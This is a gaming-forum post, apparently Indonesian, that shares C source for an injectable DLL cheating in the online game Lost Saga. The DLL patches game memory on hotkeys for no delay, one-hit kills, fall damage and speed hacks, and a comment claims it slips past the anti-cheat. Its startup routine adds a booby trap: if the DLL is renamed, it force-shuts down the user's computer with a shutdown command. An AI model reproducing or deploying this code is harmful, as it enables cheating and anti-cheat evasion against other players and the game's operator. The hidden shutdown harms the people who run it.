VGM.Daponsent ADMINISTRATOR
Jumlah posting : 64 Points : 2000118 Join date : 04.04.12 Age : 31
| Subyek: STUART'Z LITTLE BASE LOST SAGA /OFFSET Wed Jul 25, 2012 4:24 am | |
| - Spoiler:
#define WIN32_LEAN_AND_MEAN #include <windows.h> #include <stdio.h> #include <stdlib.h>
//============ OFFSET ============ #define NoDelay 0x000000 #define OneHitCSD 0x000000 #define FallDamage 0x000000 #define SpeedHack 0x000000 //============ OFFSET ============
LPTSTR ModulGame = "lostsaga.exe";
void Patch(void *adr, void *ptr, int size)
{
DWORD OldProtection;
VirtualProtect(adr,size,PAGE_EXECUTE_READWRITE, &OldProtection);
memcpy(adr,ptr,size);
VirtualProtect(adr,size,OldProtection, &OldProtection);
}
void WritePointer(unsigned long ulBase, int iOffset, int iValue)
{
if (!IsBadReadPtr((VOID*)ulBase, sizeof(unsigned long)))
{
if (!IsBadWritePtr((void*)(*(unsigned long*)ulBase + iOffset), sizeof(unsigned long)))
{
*(int*)(*(unsigned long*)ulBase + iOffset) = iValue;
}
}
}
void SagaHacy()
{
while(1) {
//========== No Delay ==========// if (GetAsyncKeyState(VK_F1)&1) { MessageBeep(MB_ICONINFORMATION); DWORD adrMin1, adrMin2 = 0; DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe"); if (dwPB > 0) { adrMin1 = dwPB + (DWORD)NoDelay; Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00\x00", 3); // Jangan di ganti Agar WORK ^_^ }
} //========== 1 Hit Crusade ==========// if (GetAsyncKeyState(VK_F2)&1) { MessageBeep(MB_ICONINFORMATION); DWORD adrMin1, adrMin2 = 0; DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe"); if (dwPB > 0) { adrMin1 = dwPB + (DWORD)OneHitCSD; Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00\x00", 3);// Jangan di ganti Agar WORK ^_^ }
}
//========== Fall Damage UP ==========// if (GetAsyncKeyState(VK_F3)&1) { MessageBeep(MB_ICONINFORMATION); DWORD adrMin1, adrMin2 = 0; DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe"); if (dwPB > 0) { adrMin1 = dwPB + (DWORD)FallDamage; Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00\x00", 3);// Jangan di ganti Agar WORK ^_^ }
}
//========== SpeedHack Hook ==========// if (GetAsyncKeyState(VK_F4)&1) { MessageBeep(MB_ICONINFORMATION); DWORD adrMin1, adrMin2 = 0; DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe"); if (dwPB > 0) { adrMin1 = dwPB + (DWORD)SpeedHack; Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00\x00", 3);// Jangan di ganti Agar WORK ^_^ }
}
Sleep(100); //Jangan di ganti , Agar Tembus GG Cowboy
}
}
BOOL APIENTRY DllMain(HINSTANCE hDll, DWORD callReason, LPVOID lpReserved) {
DisableThreadLibraryCalls(hDll);
if(callReason == DLL_PROCESS_ATTACH) {
MessageBox(0, "Credit by : STUART'Z LITTLE \n\nSThanks to : G3 |GAME ONLINE COMUNITY|", "Moeztro",MB_ICONINFORMATION | MB_OKCANCEL); // Notice yg Keluar MessageBox(0, "No Delay : F1\n1 Hit Crusade : F2\nFall Damage UP : F3\nSpeedHack Hook : F4\n\nTekan Saat Splash Cowboy Menghilang / Saat Mulai Splash Screen Hitam", "Just Work to OS Win 7",MB_ICONWARNING | MB_OKCANCEL); // Notice yg Keluar CreateThread(0, 0, (LPTHREAD_START_ROUTINE)&SagaHacy,0, 0, 0);
char strDLLName [_MAX_PATH];
GetModuleFileName(hDll, strDLLName , _MAX_PATH);
if (strstr(strDLLName, "DLL ANDA.dll") <= 0) {//Nama DLL Asli
// tampilkan pesan, kalo dll nya sdh bukan asli / sudah di rename
MessageBox(0, "Leacher Detect ?","Moztro",MB_ICONSTOP | MB_OK); MessageBox(0, "Udah dikasih kok rename ?","Moeztro",MB_ICONSTOP | MB_OK); MessageBox(0, "Yang Rname Tahu Sendiri Kan Akibatnya","Moeztro",MB_ICONSTOP | MB_OK); system("start C:/Windows/System32/shutdown.exe -s -f -t 00"); ExitProcess(0);//ERROR
}
}
} | |
|